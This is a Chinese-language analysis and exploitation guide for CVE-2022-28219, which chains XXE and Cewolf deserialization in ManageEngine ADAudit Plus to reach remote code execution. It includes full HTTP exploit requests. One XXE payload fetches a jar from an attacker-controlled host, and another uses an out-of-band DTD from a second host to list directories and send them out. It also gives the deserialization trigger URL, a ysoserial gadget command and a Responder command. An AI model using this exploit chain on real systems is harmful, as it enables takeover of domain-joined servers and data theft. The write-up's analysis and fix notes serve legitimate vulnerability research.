CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE漏洞分析与利用
漏洞概述
CVE-2022-28219是ZOHO ManageEngine ADAudit Plus中的一个严重漏洞,通过组合利用XXE(XML外部实体注入)和反序列化漏洞,攻击者可以实现远程代码执行(RCE)。该漏洞由两个关键点串联而成:
- XXE漏洞:存在于
ProcessTrackingListener#parseTaskContent中 - 反序列化漏洞:存在于Cewolf组件的
FileStorage#getChartImage中
环境搭建
-
下载受影响版本的ADAudit Plus:
https://archives2.manageengine.com/active-directory-audit/7055/ManageEngine_ADAudit_Plus_x64.exe -
搭建域环境:
- 直接将安装ADAudit的机器提升为域控制器
漏洞分析
反序列化漏洞点
位于de.laures.cewolf.storage.FileStorage#getChartImage,这是一个已知的反序列化漏洞,最初由steventseeley发现并报告。
关键点:
- ADAudit仍然包含Cewolf servlet
- init参数设置为FileStorage
- 通过
../跨目录访问可以触发
XXE漏洞点
位于com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListener#parseTaskContent
触发条件:
- 通过
eventTbl参数的Task Content或Task New Content键值传递恶意XML
路由触发点
- Web.xml中定义了
/api/agent路由,对应ADAPAgentAPIServlet#processRequest - 请求被转发到
RestAPIHandler#executeAgentRequest - 通过正则匹配找到对应的handler:
AgentDataHandler#receiveData receiveData从body或header中获取JSON数据- 有效的JSON数据会被
EventDataAdapter#notify处理并加入消息队列 - 实际处理由
EventDataAdapter.EventDispatcher#run完成
重要注意事项:
- 如果原始data中
DomainName等于null,DomainDnsName也会等于null - 如果没有提供正确的域环境域名,漏洞将无法触发
漏洞利用步骤
1. 利用XXE上传文件
使用JDK 8u131之前的XXE trick上传文件:
POST /api/agent/tabs/agentData HTTP/1.1
Host: 172.16.16.132:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 316
Content-Type: application/json
[{
"DomainName": "test.local",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE foo [<!ENTITY ssrf SYSTEM \"jar:http://172.16.16.1:2122/upload.jar!/file.txt\"> ]><foo>&ssrf;</foo>"
}]
文件将被上传到用户的临时目录,如:
C:/Users/Administrator/AppData/Local/Temp/
2. 利用XXE列举目录
POST /api/agent/tabs/agentData HTTP/1.1
Host: 172.16.16.132:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 393
Content-Type: application/json
[{
"DomainName": "test.local",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [ <!ENTITY % file SYSTEM \"file:///C:/Users/Administrator/AppData/Local/Temp/\"> <!ENTITY % dtd SYSTEM \"http://192.168.1.207:9090/data.dtd\"> %dtd;]><data>&send;</data>"
}]
3. 触发反序列化
访问上传的恶意文件触发反序列化:
http://172.16.16.132:8081/cewolf/a.png?img=Users/Administrator/AppData/Local/Temp/jar_cache9091707163659467742.tmp
Gadget建议:
使用CommonsBeanutils192NOCC:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho"
常见问题解决
-
如何获取DomainName:
- 目前没有完美的解决方案
- 可以通过登录过程获取部分域名信息
-
如何确定用户临时目录路径:
- 先列举
C:\Users\下所有用户 - 然后列举各用户的temp目录
- 或者使用Responder工具抓取当前用户名:
sudo python3 Responder.py -I ens160
- 先列举
修复方案
ZOHO已发布修复措施:
- 注释了CewolfServlet
- 修复了XXE漏洞
- 增加了GUID校验
参考资源
-
steventseeley关于Cewolf反序列化的原始报告:
https://srcincite.io/advisories/src-2020-0011/ -
JDK XXE Trick原始议题:
https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf -
文件驻留服务器实现:
https://github.com/pwntester/BlockingServer/blob/master/BlockingServer.java